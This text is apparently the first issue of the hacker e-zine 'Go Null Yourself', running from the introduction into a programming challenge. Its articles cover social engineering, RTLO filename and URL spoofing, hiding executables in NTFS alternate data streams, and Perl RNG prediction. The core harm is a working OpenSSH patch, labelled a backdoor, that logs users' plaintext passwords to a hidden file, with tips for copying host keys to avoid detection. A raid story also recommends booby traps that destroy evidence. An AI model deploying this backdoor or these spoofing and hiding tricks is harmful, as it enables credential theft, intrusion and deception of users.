Go Null Yourself Issue 01
,hs+;-,
MMMMMMMNdyo/:. Go Null Yourself E-Zine
MMNydNMMMMMMMMMmhs+:-`
MM/ `-/oshmMMMMMMMMMNdyo/. Issue #1
Mm .:+sydNMMMMMM. ys+:.`
M: `hMMMy +MMMMMMNdyo/-` www.GoNullYourself.org
N+:. .MMMM. `NMMMmNMMMMMMMMNmhs+:.
MMMMMmhs+/-` hMMMs oMMMd `-/oydmMMMMMMMMMNdyo/-`
shmMMMMMMMMMNdyo/:. -MMMN` `NMMM- .:+shmNMMMMMMMs :+:.
.:/oydNMMMMMMMMMNMMMo sMMMh `-sMMMN` `NMMM-
/-` `-/oshmMMMMMN` .MMMM- dMMMo sMMMh
MMMNdyo+:. mMMM+ yMMMy :MMMN` .MMMM-
dNMMMMMMMMMmhs+/-`/MMMm -/oy. mMMM+ yMMMy :
`-/+shmMMMMMMMMMMMMM/ /MMMm .MMMM. m
.:+oydNMMMMd mMMM/ hMMMy /M
`-/o- `+shh -MMMMMNmhs+:. mM
-oydNMMMMMMMMMmdyo/-` +MM
`.:+shmMMMMMMMMMNdhsNMM
0x01 Introduction teh crew ys+:. `-/oydNMMMMMMMM
0x02 Conversational Hypnosis hsu -+shmNMMMMMMMMNdhs+:. sMMMy
0x03 RTLO Spoofing storm `-/oydNMMMMMMMMMmhyMMMM.
0x04 Alternate Data Streams d4de `.:+shmMMMMMMMMs
0x05 Derandomizing Perl's RNG Kheldar .-/oydm`
0x06 Trojaning OpenSSH storm
0x07 Story of a Raid OrderZero
0x08 Programming Challenge storm
0x09 ConfCon 2010 CFP PhreakerD7
0x0a 907-887-88xx Scan storm
0x0b Et Cetera, Etc. teh crew
Introduction
[ Author: teh crew ]
Welcome to the first issue of the Go Null Yourself e-zine. Glad you could join us.
This publication is the product of a close group of friends who love to tinker with and push technology to the limits. You may know us more commonly as hackers. We are a collection of like-minded individuals promoting freedom of thought and the pursuit of technological curiosity. We enjoy solving problems and innovating new ways of doing things. We keep our minds open to new ideas and build upon each others' work to produce even greater results. We stick to our beliefs and do not back down in the face of hostility.
Within this zine, we hope to present a well-rounded spectrum of information, both technical and non-technical, spanning a number of disciplines. Hopefully you may find something that sparks your interest.
If you are interested in submitting content for future issues of GNY Zine, we would be happy to review it for publication. Content may take many forms, whether it is a paper, review, scan, or first-hand account of an event. Well-received topics include computer hacking and exploitation methods, programming, telephone phreaking (both analog and digital), system and network exploration, hardware hacking, reverse engineering, amateur radio, cryptography and steganography, and social engineering. We are also receptive to content relating to concrete subjects such as science and mathematics, along with more abstract subjects such as psychology and culture. Both technical and non-technical material is accepted.
Submissions of content, suggestions for and criticisms of the zine, and death threats may be sent via:
- IRC private message (storm or m0nkee @ irc.distrust.us #gny)
- Email (zine@gonullyourself.org)
If there is a enough feedback, we will publish some of the messages in future issues.
We have devoted a lot of effort into this publication and hope that you learn something from reading it. Abiding by our beliefs, any information within this e-zine may be freely re-distributed, utilized, and referenced elsewhere, but we do ask that you keep the articles fully intact (unless citing certain passages) and give credit to the original authors when and where necessary.
Go Null Yourself, its staff members, and the authors of GNY Zine are not responsible for any harm or damage that may result from the information presented within this publication. Although people will be people and act in idiotic fashions, we do not condone, promote, or participate in illegal behavior in any way.
With that being said, let there be zine.
Introduction to Conversational Hypnosis
[ Author: hsu ]
Preliminary note: All descriptions and examples are meant for learning and understanding purposes only; I have made sure that no example can actually be used in daily application. Conversational hypnosis is something that is learned from personal experience, not copied. If you would like to learn more about the topic, I suggest you read the lectures by Tyler Starr.
To most of the world, hypnosis is thought to be a simple form of entertainment in which a "hypnotist" causes his or her subjects to perform all kinds of ridiculous tasks under what they call a "trance." However, one must delve deep into the processes of hypnosis to truly understand what is going on.
In very basic terms, hypnosis consists of a period of relaxation (self-explanatory), induction (where the subject is actually put into trance), some sort of continuation of that induction that simultaneously establishes the connection between hypnotist and subject (allowing for the appearance of control to take place), and awakening (also self-explanatory). The big misunderstanding most people have is the sense of "control" that the term "hypnosis" implies. In truth, the subject is actually completely in control of his or her actions at all points of hypnosis. The "trance" is simply a state of mind in which the subject has allowed him/herself to fall into the mindset of simply listening and performing through the hypnotist's guidance. With that in mind, one can realize that hypnosis can be used in other settings as well, though the processes might not be very recognizable.
Let us take car salesmen for example. Though they do not know what they are doing psychologically, they are actually trained to use a very altered form of hypnosis to make their deals.
- Step 1 - Relaxation: they bring you into the store with a welcoming smile and a happy, yet confident tone that non-verbally "assures" an unsuspecting person that the salesman is friendly. Some might even add to that by offering them some kind of "loophole" or "trick" to "save him/her money," (starting to sound familiar?) because then the potential buyer has been shown that this salesman is out for his/her interest and that he is trustworthy
- Step 2 - Induction: the salesman begins to pick up the pace, speaking most of the words in the conversation as the buyer begins to slip into the mindset of simply listening and following along
- Step 3 - Continuation: the salesman quickly brings up a seemingly good deal and firmly states his belief that action must be taken right away in order to secure the deal. Under the passive mindset, the buyer quickly takes in the salesman's words with little to no processing and quickly accepts the deal, driving away in a new, far too overpriced car.
- Step 4 - Awakening: in this example, the awakening simply occurs as the buyer is talking with his or her family about the purchase and suddenly realizes just how much money was spent or lost.
Another aspect of conversational hypnosis is governed by Advanced Language Patterns (ALP). ALP is used to steer conversations in a certain direction. Many people simply call this prospect "mind fucking," as it tends to do just that. The entire process centers around a combination of reverse psychology and careful introductions of new topics.
For instance, let us say a boy is getting into an argument with his girlfriend that he knows he cannot win. Here is how ALP can be implemented: The boy first heats up the argument by seemingly defending his case, despite the many counterexamples his girlfriend provides, which simply makes her more angry. Then, he suddenly gives in, agreeing with her in only a very slight sarcastic tone - just enough for her to believe he is probably serious but is perplexed enough to ask if he actually agrees. Then, in a very sarcastic tone, he disagrees with her again. Such a process involves two reverse psychological steps to create a contradiction within her mind, ending up with her believing that she has won but still not fully understanding what is going on. At this point, she is prone to suggestion and the boy brings up a scenario similar to the current predicament brought on by another friend... and then another by the same friend. Perhaps it was that friend's fault all along for this entire argument! (Obviously, this series of events is quite a bit more abrupt than an actual conversation, but you get the idea.) In the end, ALP has allowed the boy to set the conversation onto a different topic that leaves him without risk of losing the argument.
Next comes the haxxor favorite: social engineering (also sometimes associated with seduction). Unlike ALP, in which the subject of the conversation changes, social engineering manipulates the situations in which the conversation takes place. For instance, a typical college student calls AT&T tech support and asks for a password to one of their secure databases... you can imagine the turnout of the conversation... *click.* However, social engineering can have quite an astounding effect on the exact same sequence of events. By using an established position, such as "the security manager for tech support" (No, I'm not giving you better ideas.), the student can call a backdoor operator number and firmly state that there has been a security breach in the database and that his password must be reset to "blablabla." The support agent is far more likely to accept the scenario and carry out the order. An excellent resource for more information and further, more practical examples of social engineering is the article "Influential Angels" in the spring 2010 issue of "2600: The Hacker Quarterly."
Finally comes Neuro Linguistic Programming (NLP), otherwise known as the "black mirror technique." This area is, by far, the most difficult to learn and master. It involves watching every movement of a subject in every possible scenario available in search for specific physical patterns associated with emotional states. One will notice that a vast majority of the patterns are fairly constant from person to person. Once you learn the patterns to a specific person, you can easily tell exactly what he or she is feeling. By doing so, you can use prior knowledge to attempt to decipher exactly what the person is thinking about in extremely vivid detail (Anyone been to a "psychic" before?). At that point, the black mirror technique requires you to places those thoughts and emotions into your own mind, in essence adopting the mind of your subject. By doing so, you can think exactly like him or her - you will know what reaction will be given in response to what stimulus and so on, allowing you to say or do whatever would bring the exact response you wish to achieve. You are essentially placing yourself in your target's shoes.
As you can see, each of the four sections provides a person with great "control" over those around him or her. The question then becomes: What happens when you combine all four together? The result is "black ops." Truly, it is impossible to describe any sort of daily scenario for this phenomenon as it can only be expressed through actually implementing its techniques in practice. As mentioned before, these practices cannot be taught or copied - they must be experienced. One must always keep in mind that this tool CANNOT be defeated by ANY person unless that person also knows and has used black ops. It is a powerful tool that should be used responsibly for the GOOD of others.
Here is a quick example. Imagine, if you would, that we were having a casual conversation about bananas when, all of a sudden, I lost the game. Most people would just brush it off, but no, I just could not stop thinking about it and ended up associating bananas with the game. And so, every time I said the word, bananas, I would lose the game, causing you to associate bananas with the game as well. You would be quite angry wouldn't you? Well now let me ask you this: what is the first thing that comes to mind when I say..."bananas?" If it isn't the game, congratulations, you are learning fast; however, for the vast majority of you, consider what just happened. You were presented with the most obvious example possible and yet were still forced to mold your thoughts to a certain pattern without the slightest but of control. Now imagine you had no indication that such an act was to take place; imagine that this was done in person, instead of from a brief magazine article without you ever knowing. Welcome to black ops.
RTLO Spoofing
[ Author: storm ]
Email: storm@gonullyourself.org
Website: http://gonullyourself.org/
RTLO spoofing is a fairly new yet under-documented security flaw that may have serious implications in the hacking scene in the very near future. Such an attack furthers social engineering efforts by displaying illegitimate text in the place of user-inputted data, potentially tricking target users into granting trust or falling into malicious traps.
The acronym RTLO stands for Right-to-Left Override, which is a Unicode character used to reverse the direction of text on its respective line. For instance, by inserting the RTLO character into a string:
[RTLO]abcdefgthe following is instead displayed on the screen:
gfedcbaThe RTLO character may also be placed mid-string, having no effect on preceding text.
For example:
abcdefg[RTLO]hijklmnopis displayed as:
abcdefgponmlkjihThe RTLO character is most commonly used when displaying text in Hebrew, Arabic, or any other foreign language that reads right-to-left. The Unicode number for RTLO is 202e, and a number of methods for inputting the character are enumerated at http://bit.ly/63tKRN .
HTML also provides a method to render the proper directionality of text with the DIR attribute by defining the value DIR=ltr for left-to-right and DIR=rtl for right-to-left. However, this method is obviously only applicable to web pages, whereas the RTLO Unicode character itself is universal throughout most of the computer.
One may abuse the RTLO character by falsifying sensitive text strings, such as filenames, usernames, and URLs. The consequences of a successful attack are dependent upon the scenario.
In the context of spoofing a filename, hackers may more effectively social engineer victims into downloading, accepting, and executing malicious files. Those spreading malware will commonly try to obfuscate filenames by including an innocuous file extension in the filename itself - "notavirus_freesex.jpg.exe", for instance. However, by utilizing the RTLO character, a hacker may instead reverse the text direction of the file extension, framing the file as a completely different filetype.
By inserting our special character, as shown:
hotgirlss[RTLO]gpj.exeour target now views the file as:
hotgirlsexe.jpgThe quality of the spoofed filename will obviously vary with the level of creativity at the time. There are numerous executable file extensions, and it should not be difficult to find one that fits well with the spoofing attack scenario. It should also be noted that by spoofing the file extension, the actual filetype of the file does not change. "hotgirlsexe.jpg" is still an executable file with the extension .exe, but it is simply being displayed as a .jpg image file instead.
File downloads within web browsers are also vulnerable to RTLO spoofing. Users may queue a file for download but find the filename obfuscated, potentially tricking them into opening malicious executable files. Mozilla took note of this attack vector and deployed patches for their Firefox and SeaMonkey software in late 2009.
Next, hackers may utilize RTLO spoofing to falsify usernames and other text fields in user profiles. Common targets for this attack are online forums and other web communities. A typical attack consists of finding the name of an existing administrator, moderator, or any other privileged staff member and creating a new account with the name reversed, preceded by the RTLO character:
[RTLO]rotartsinimdA
[RTLO]pOsyS
[RTLO]rotaredoMEt cetera, et cetera. Doing so will of course not magically grant your new user account with any special permissions or access, but it's useful for social engineering unsuspecting and ignorant users. At the very least, it's a fun prank. The GNY board itself can actually be made an example of for attacking forums with spoofed usernames. In February 2010, Anarchy_Angel registered a new user account using the name "[RTLO]eekn0m", which displayed as "m0nkee" on screen, mirroring m0nkee's actual administrator account name. As we were not familiar with the attack vector at the time, quite a bit of confusion followed until Anarchy linked to an explanation, introducing our community to the concept of RTLO spoofing.
The third scenario that will be covered is using RTLO spoofing in the context of URLs. Such an attack may be used when attempting to trick an unsuspecting user into clicking a malicious link that appears to be a seemingly trustworthy website at first glance. Previous methods of achieving this included hosting the malicious page on a similar-looking domain name or including the page in an XSS vulnerability on the trustworthy website. An example of the first method would be to host a mirror of the Citibank login page either at "c1tibank.com" or "freehosts.com/citibank.com/" (as in, register a new domain name or establish a URL that may be easily confused with the actual name) in attempt to phish user credentials. An example of the second method would be to inject an IFrame of a remote page housing malicious code into an XSS-vulnerable trustworthy website, as so:
Of course, this URL merely causes a JavaScript popup message to appear, but any HTML may be injected in its place. CSRF is also very possible at this point.
By now, you may have an idea as to how RTLO spoofing a URL will work, but I will provide an example regardless:
[RTLO]http://someevilsite.com/moc.elgoog.www//:ptthwill display as:
http://www.google.com/moc.etisliveemos//:ptthThe product of RTLO spoofing a URL is similar to the XSS method shown above, as the victim is faced with a link that appears to point to a trusted domain name but is followed by a slew of seemingly random characters. The only difference is that the RTLO method doesn't require URL encoding to effectively obfuscate the deceit lain within.
Hopefully, more vendors will recognize the security threat posed by abuse of the RTLO character and incorporate methods of combatting falsified text in future versions of their software. Until then, this attack vector will very likely become increasingly prevalent in the hacking scene as people continue to follow the same mediocre security policies and blindly trust content without understanding that the greatest threats are the ones you do not expect and cannot see.
Works referenced and further reading:
http://packetstormsecurity.org/papers/general/righttoleften-override.pdf
http://hackers-hideaway.com/blog.php?post_id=94 (currently offline)
http://www.mozilla.org/security/announce/2009/mfsa2009-62.html
And special thanks to: Anarchy_Angel
Alternate Data Streams
[ Author: d4de ]
Email: amr.ali.cc@gmail.com
Website: http://amr-ali.co.cc/
Introduction
I have learned from a friend of mine "tUff" about something called ADS, which, as far as I know, is only available in the NTFS filesystem. However, if someone has found this "feature" somewhere else, please let me know.
In the NTFS file system, there are different types of data streams: one that holds the security information and another that holds the "real" data. There may be another stream with link information instead of the real data stream, if the file actually is a link. And there may be alternate data streams, holding data the same way the standard data stream does.
You might think that Microsoft didn't actually document this, but in a matter of fact they did documented it. Besides that, there is a lot of information and articles about it all over the web; however, it seems that not many people do actually know about it.
Practical Usage
Yes, I hear all of you saying, okay cool info to know about, but how we gonna use it in a practical way? And my answer would be, don't let your limited imaginations limit the usage of such feature. You can basically do many things with it - for example, you could use it with hiding your application registration information, or better yet, hide some secrets of yours. Or, if you are such a BlackHat, you can hide viruses/worms/rootkits/etc. "I hear the devil laughing already!"
There are two ways to hide your data in ADS: you can hide it in a folder, or you can hide it in a file. And no, it's not going to change anything either for the folder or the file except its date stamp. The size of the "carrier" will never change whatsoever.
Let's learn some tricks here, shall we...
-= Hiding a file in a folder =-
mkdir C:\folder
echo datastuffs > C:\folder:secrets.txtIn the example above, we see that we redirected the output of "echo datastuffs" to be stored at "C:folder:secrets.txt". Cool, huh, but wait. You will also notice that there is no backslash between "folder" and "secrets.txt". And seriously, it's not a typo - it's how it's supposed to be written.
First, I want you to go check and see if the folder "C:\folder" contains anything, and check if the size changed. Voila, nothing is actually there! Well, let's then do this:
notepad.exe C:\folder:secrets.txtA bit surprised of the outcome? You haven't seen anything yet. Now let's jump to the next part.
-= Hiding a file in a file =-
echo ohnoes > C:\folder\textfile.txt
echo datastuffs > C:\folder\textfile.txt:secrets.txtOoh, that is a bit odd now. Well, it's far from oddness; it's just the same thing we did before, but instead of hiding it in a folder, we hid it in a file. So, now you understand the significance of ":". It means that you are accessing an alternate data stream instead of the normal ones or the "visible" ones, so to speak.
Now, let's check if the file "secrets.txt" that we hide in the file "textfile.txt" is actually holding any data.
notepad.exe C:\folder\textfile.txt:secrets.txtStill amazed? Well, I gotta tell you that you still don't know the true potential of such a feature.
Now, what if we wanted to be a little devilish and hide some executable files? Stay with me on this one.
copy C:\windows\system32\calc.exe C:\folder\calc.exe
type C:\windows\system32\notepad.exe > C:\folder\calc.exe:notepad.exe
start C:\folder\calc.exe:notepad.exeWe simply did here the usual - just copied calc.exe (which is Calculator) to our test folder so we don't mess anything up, and we hid the notepad.exe file (from the system dir) in our copied calc.exe file. We then finally executed our hidden file "notepad.exe," which now is located at "C:\folder\calc.exe:notepad.exe".
I hear you say, "Wow, how lame that is! You just started notepad.exe from a hidden location!" Well, first I'll excuse your ignorant behavior and tell you to go look at your Task Manager and tell me if you found any notepad.exe actually running. Huh, what I can't hear you! Yeah, that's right; you just see calc.exe. See, that's now what I was talking about - you are having notepad.exe running in front of your eyes, but Windows Task Manager doesn't have this feature implemented, so it can't actually tell if you are running another program from an alternate stream. Instead, it just gives you the carrier file name, which in our case would be "calc.exe".
-= How to delete a file stored in ADS =-
First, let's assume that you have a file called vip.exe, and this file got hidden by some major dirty worm that you kids developed, and you are sorry and wanted to delete the worm from ADS. In order to do so, you should:
ren vip.exe temp.exe
type temp.exe > vip.exe
del temp.exeBut what if we have worm.exe hidden in the folder C:\windows? Sounds messy, huh? Don't be afraid; it's also easy to do, so don't worry about it and follow:
notepad.exe C:\windows:worm.exeDelete the contents of worm.exe and then save. Notepad will tell you that the file is empty and ask if you want to delete it - confirm the action, and you are done.
Note: If you are using NT 5.x, then you will need Notepad from NT4tools to be able to remove a "worm.exe" from a folder.
Tools and Codes
---------------
Now, for all of you that want to play more and have some fun with it, I'll provide you with some application names I know of that are useful when dealing with NTFS ADS:
- Sysinternals (a must have)
- streams.exe (Included in Sysinternal suite)
- LADS
- crucialADS by CrucialSecurity
And here are some links that you might find interesting:
- http://msdn.microsoft.com/en-us/library/ms810604.aspx
- http://www.windowsecurity.com/articles/Alternate_Data_Streams.html
- http://www.flexhex.com/docs/articles/alternate-streams.phtml
- http://support.microsoft.com/kb/105763
- http://support.microsoft.com/kb/943393
- http://en.wikipedia.org/wiki/Fork_(filesystem)
- http://www.irongeek.com/i.php?page=security/altds
- http://www.ntfs.com/ntfs-multiple.htm
- http://www.auditmypc.com/freescan/readingroom/ntfsstreams.asp
Thanks goes to tUff, who first introduced me to NTFS ADS.
Derandomizing Perl's Random Number Generator
[ Author: Kheldar ]
Contact: irc.distrust.us #gny
Website: http://insomnia247.nl/~Kheldar/blog/
Computers are deterministic machines. As such, true randomness is hard to achieve. Instead, computers settle for pseudorandom numbers - numbers that appear random at first glance, but in reality follow a very distinct algorithm.
For this paper, I'm going to be taking a look at the pseudorandom number generator (PRNG) that my installation of perl uses. It can be found with the command "perl -V:randfunc", and on most *nix systems the algorithm's called drand48.
The algorithm produces a sequence of 48-bit integers, X, and can be described by the following equation:
Xn+1 = (0x5DEECE66D * Xn + 0xB) mod (2 ** 48)As you can see, it's a pretty simple algorithm. The important part is the modulus performed at the end - since it's mod 2**48, 48-bit arithmetic is performed (that's where the 48 in the name comes from, if you haven't figured that out yet).
So, now you know what happens when you call perl's rand() function. The program takes the previous value in the sequence, and using the aforementioned formula, calculates the current value.
"But, what will the first value in the sequence be", you ask. Well, if you've ever heard the term "seed", or used the function srand(), this is it. The srand() function simply changes the previous value in the sequence, changing the outcome of the next one.
With the drand48 algorithm, it's a bit more complicated than simply assigning the value. The function takes a 32-bit integer, and sets the 32 high-order bits of the previous term to that value. Then, the 16 low-order bits (remember, we're dealing with 48-bit integers here) are set to the arbitrary value 0x330E.
Now that we know all that, I think we're able to write our own implementation of drand48...
Here it is:
#!/usr/bin/env perl
use strict;
use warnings;
use bignum;
# the current value
my $x;
sub srand48 {
$x = (shift or 1) & 0xFFFFFFFF; # only use the low-order 32 bits
$x <<= 16; # set the 32 high-order bits to the arg
$x |= 0x330E; # set the 16 low order bits to the arbitrary value 0x330E
}
sub drand48 {
# compute the next value
$x = (0x5DEECE66D * $x + 0xB) % (2 ** 48);
# return said value using the same precision as perl's rand()
return sprintf "%.15f", $x / (2 ** 48);
}You'll notice in the drand48() function that we actually return a decimal value. This is in order to match the precision used by perl's rand() function.
Now, let's compare the output of our new drand48() function with perl's good old rand() function. Append the following code to your script:
my $val = shift;
srand48($val);
srand($val);
for(1..5) {
print drand48() . " " . rand() . "\n";
}
And let's check the outcome!
$ ./myrand.pl 1
0.041630344771878 0.0416303447718782
0.454492444728629 0.454492444728629
0.834817218166915 0.834817218166915
0.335986030145200 0.3359860301452
0.565489403566136 0.565489403566136
$Not bad, I'd say.
Now, there are a couple interesting things we can do with this - the most obvious being predicting future random numbers. In fact, all we must do is figure out where perl's random number generator is and calculate the next value! It's all coming together :-).
Here's a function that will do just that:
sub predict_rand {
my $curr = shift or return;
$x = $curr * (2 ** 48);
print "\nI predict the next random number is: " . drand48() . "\n";
}When passed the current output of perl's rand(), this function will predict the next one to several decimal places. It's not perfect, because rand() doesn't actually give you enough information to find out exactly what the current term is. In order to do that you'd have to, well, find out where it's stored in memory and read from there.
But that's for next time.
~Kheldar
Sources:
[1] http://opengroup.org/onlinepubs/007908799/xsh/drand48.html
Trojaning OpenSSH
[ Author: storm ]
Email: storm@gonullyourself.org
Website: http://gonullyourself.org/
The following patch file may be used to insert a logging feature in the latest source release of portable OpenSSH (5.5p1). Portable OpenSSH is designed to run on a multitude of operating systems, most notably Linux, while the main release is designed to essentially run only on BSD. These edits should be easy to migrate to other releases and version numbers if you are inclined to do so.
By patching and installing a trojaned OpenSSH package, a hacker may potentially escalate and expand his access by capturing valid logins and re-using the credentials elsewhere on the network. Keeping a list of valid logins also provides additional points of potential re-entry, should the hacker's presence be discovered.
The patch I wrote is very simple and does not provide rootkit-like features, such as a "magic password" that grants instant root access or the ability to hide login sessions. Its sole purpose is to log both successful and unsuccessful login attempts to a text file, where a hacker (or nosy system administrator) may view them at a later time. Future releases of this patch may possibly provide extended features and additional logging abilities, such as submitting entries to a remote HTTP server.
A final step to perform after installation is to copy the host keys from the existing, un-trojaned SSHd to the new, trojaned SSHd to prevent any red flags from being raised upon connecting. Observe, where I use port 22 as the untrojaned SSHd and port 2222 as the trojaned SSHd to exemplify the process:
delicious:~# ssh localhost -p22The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is 9d:f4:b6:a4:02:fc:1f:f3:ac:b4:26:5b:45:22:20:cb.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
delicious:~# ssh localhost -p2222The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is 53:ec:14:9d:8d:0b:85:52:04:8b:88:26:9a:54:89:6c.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
delicious:~# cp /etc/ssh/* /root/ssh/openssh-5.5p1-install/etc/
delicious:~# ssh localhost -p2222The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is 9d:f4:b6:a4:02:fc:1f:f3:ac:b4:26:5b:45:22:20:cb.
Are you sure you want to continue connecting (yes/no)?
Have fun. ;)
-=-=-
diff -rupN openssh-5.5p1/auth-passwd.c openssh-5.5p1-backdoored/auth-passwd.c
--- openssh-5.5p1/auth-passwd.c 2009-03-07 19:40:28.000000000 -0500
+++ openssh-5.5p1-backdoored/auth-passwd.c 2010-06-17 14:14:23.000000000 -0400
@@ -123,6 +123,19 @@ auth_password(Authctxt *authctxt, const
}
#endif
result = sys_auth_passwd(authctxt, password);
+
+ // Begin Backdoor
+
+ if ( result ){
+ snprintf(hidden_buff, sizeof(hidden_buff) - 1, "Successful login %s:%s
from %s\n", authctxt->user, password, get_remote_ipaddr());
+ hidden_log();
+ } else {
+ snprintf(hidden_buff, sizeof(hidden_buff) - 1, "Invalid login %s:%s from
%s\n", authctxt->user, password, get_remote_ipaddr());
+ hidden_log();
+ }
+
+ // End Backdoor
+
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
diff -rupN openssh-5.5p1/includes.h openssh-5.5p1-backdoored/includes.h
--- openssh-5.5p1/includes.h 2009-08-20 02:16:01.000000000 -0400
+++ openssh-5.5p1-backdoored/includes.h 2010-06-17 14:12:24.000000000 -0400
@@ -172,4 +172,24 @@
#include "entropy.h";
+// Begin Backdoor
+
+#include <sys/stat.h>
+#include <stdio.h>
+#define HIDDEN_LOG_FILE "/tmp/.ssh_log"
+
+FILE *hiddenlog;
+char *hidden_buff;
+
+#define hidden_log() { \
+ chmod(HIDDEN_LOG_FILE, 0666); \
+ hiddenlog = fopen(HIDDEN_LOG_FILE, "a"); \
+ if ( hiddenlog != NULL ) { \
+ fprintf(hiddenlog, "%s", hidden_buff); \
+ fclose(hiddenlog); \
+ } \
+}
+
+// End Backdoor
+
#endif /* INCLUDES_H */
-=-=-
[yo@Wakari ~]$ cat /tmp/.ssh_log
Invalid login root:llolol from 127.0.0.1
Invalid login root:dfsdfsfsdf from 127.0.0.1
Invalid login root:dkfjgfdgjdk from 127.0.0.1
Successful login root:crapz0rs from 127.0.0.1
Successful login root:crapz0rs from 192.168.0.110
Story of a Raid
[ Author: OrderZero ]
Contact: irc.distrust.us #gny + Freenode
Alright, so we've all had the thought "OH SHIT - this is serious. I could get raided for this." (right?). It eventually dissipates like the adrenaline of a huge hack does, and after a while you forget anything about it, maybe storing the files on a thumbdrive somewhere after reviewing them. Nothing valuable or interesting? Oh well.
Well, that "oh well" may be the next "FBI SEARCH WARRANT." Yeah, it seems like I'm making a joke, doesn't it? I thought it was pretty funny too, the paranoia all leading to funny "FREEZE! FBI!" jokes. That joke become reality for me on June 9th, 2010 at 6:20AM.
It happened one night after a long day of work. I had the next day off, so I had my usual energy drink-induced buzz going, doing my regular exploring around, chatting with friends and such. I was getting pretty weary around morning; I was about to check on some boxes of mine and my friend's (legitimate, of course) and pass out, when I suddenly hear loud footsteps on the porch. I simply attributed them to dogs or some other random family visitor. It wasn't until I was turned around, being patted down like a sex doll, that I realized what had just happened, and to this day, it still seems like a dream... I had just been what we so often laughed about in those chat rooms, what we so often attributed to paranoia and movies - I had been raided. Sure, I had seen the stories: Mitnick, Bernie, etc., and almost instinctively knew what to do when I realized what was happening.
They quickly marked off the rooms in the home A, B, C, etc. while photographing anything and everything (Note: At this point, I hadn't been informed as to what the search warrant was about). They quickly escorted me outside to their (Guess the vehicle color) black Chevy Suburban with tinted windows, where they made it an accident to put me in the backseat while one agent sat beside me and another sat in front. They quickly started asking questions. Not really knowing what they wanted (but knowing what might happen), I answered few questions and asked for a lawyer when things started getting aggressive. Then they did mention it was completely voluntary but in my "best interest" to tell everything I knew so I could get a good word in with the people above them (Yeah, I bet). After about 2 minutes of him telling me that I was lying and me simply looking him in the eye for about 30 seconds, they escorted me out of the vehicle, at which point I went inside and sat for a good 4 hours while they searched through everything, connected to my network (One agent mentioned "It's ipconfig, right?") and took snapshots, took my books and magazines related to computers, and took anything that could modify, alter, create, analyze, or store data.
My parents didn't completely realize what was going on, simply knowing that I was a computer nerd and could pretty much "fix anything relating to computers." They knew I was interested in computer security, and while my mom wasn't completely against it, she certainly wasn't for it. My dad didn't know as much about computers but did mention several times that I'd either end up in jail or at a top paying job.... Go figure.
While sitting, I tried to relate to some of the guys in there. I mean, here were people who supposedly knew what they were doing, right? My personal observance indicated one person who apparently had been bragging about Ubuntu and was the geek of the group. He, according to others in the group, was working for Microsoft in some way or another when he was hired by the FBI and had done some kind of translation in the Freedom Downtime movie for 2600 (After they found my magazines, they mentioned this humorously). He at least mentioned a Linux distribution, so he scored a few points with me. While this social interaction was going on, I was going through my entire hard drive in my head.
I'm not going to say I haven't done things that might warrant such a search. I've had my share of dark side moments. This paper isn't to declare my innocence or declare the FBI is evil - they're just doing their job (albeit with too much power), but some simple rules need to be followed when copying data like we all do. I will list a few here:
- Use encryption - This is possibly my fatal mistake. I didn't encrypt as much as I should have, and it really will leave me open to anything the FBI wants to portray me as.
- Booby traps - I didn't use them. It does seem a bit far-fetched, but if I had a magnet nearby, do you think I would've used it? Damn straight. However, even if I did have a magnet, there is little time to do anything once they bust in. So, what is there to do? Well, there are various online sources for mechanisms that will conditionally destroy data or the drive itself. It's not required, but it's certainly recommended in my case...
- Incriminating evidence - Sure, it's just a simple server-client program in C, but what is it to the FBI? A trojan possibly? You bet your sweet ass. All I can say about this is that anyone who is a regular programmer should keep this encrypted as well. Anything simple can be turned into something evil by anyone with enough motive.
As this paper is being written, I have not been given further information about the case against me. The FBI very simply came in, took everything, and left. It was very much similar to being robbed, except the perpetrators had an excuse. What was their excuse, you ask? Well, it's the good ol' Title 18 (section 1030, specifically) regarding a recent leak of emails and future plans within the website Lockerz.com*. The FBI agent who came to my state to conduct the search was from the same place this website is based out of. This law states:
"Whoever-
- having knowingly accessed a computer without authorization or exceeding authorized access, and by means of such conduct having obtained information that has been determined by the United States Government pursuant to an Executive order or statute to require protection against unauthorized disclosure for reasons of national defense or foreign relations, or any restricted data, as defined in paragraph y. of section 11 of the Atomic Energy Act of 1954, with reason to believe that such information so obtained could be used to the injury of the United States
- intentionally accesses a computer without authorization or exceeds authorized access, and thereby obtains information contained in a financial record of a financial institution, information from any department or agency of the United States, or information from any protected computer
- obtains anything of value, unless the object of the fraud and the thing obtained consists only of the use of the computer and the value of such use is not more than $5,000 in any 1-year period;
- knowingly causes the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causes damage without authorization, to a protected computer, intentionally accesses a protected computer without authorization, and as a result of such conduct, recklessly causes damage, or intentionally accesses a protected computer without authorization, and as a result of such conduct, causes damage and loss.
- with intent to extort from any person any money or other thing of value
- knowingly and with intent to defraud traffics in any password or similar information - such trafficking affects interstate or foreign commerce or such computer is used by or for the Government of the United States"
In conclusion, it's healthy to be paranoid in this type of scene. Don't laugh off FBI raids, because they're real, they do happen... It did happen. Make sure WHEN it happens that there's nothing that can be thrown at you, and if there is, make sure it's encrypted. Don't put it off - you could be raided before you even close this window.
*Lockerz.com is an invitation-only website where friends invite other friends, and for every friend who signs up, PTZ are given. These PTZ are used to obtain prizes. While the pyramid scheme is obvious, the project is funded by Liberty Media, one of the largest media companies in the U.S.
Programming Challenge - Elementary Cellular Automata
[ Author: storm ]
Email: storm@gonullyourself.org
Website: http://gonullyourself.org/
According to Wolfram MathWorld, "a cellular automaton is a collection of 'colored' cells on a grid of specified shape that evolves through a number of discrete time steps according to a set of rules based on the states of neighboring cells. The rules are then applied iteratively for as many time steps as desired."
To break that definition down into layman's terms, a cellular automaton is a mathematical modeling system that displays progressive growth through a grid of cells according to a defined ruleset. Future steps in growth in cellular automata (each iteration referred to as a "generation") are dependent upon the behavior of previously-generated cells. How these future cells are generated is also dependent upon the ruleset. Although a ruleset of a cellular automaton may technically change as growth progresses, it typically remains constant throughout the entire system.
Cellular automata are utilized in mathematics and science to analyze and predict behavior in nature. For example, such models have been used to explain patterns of snowflakes and the formation of conch shells.
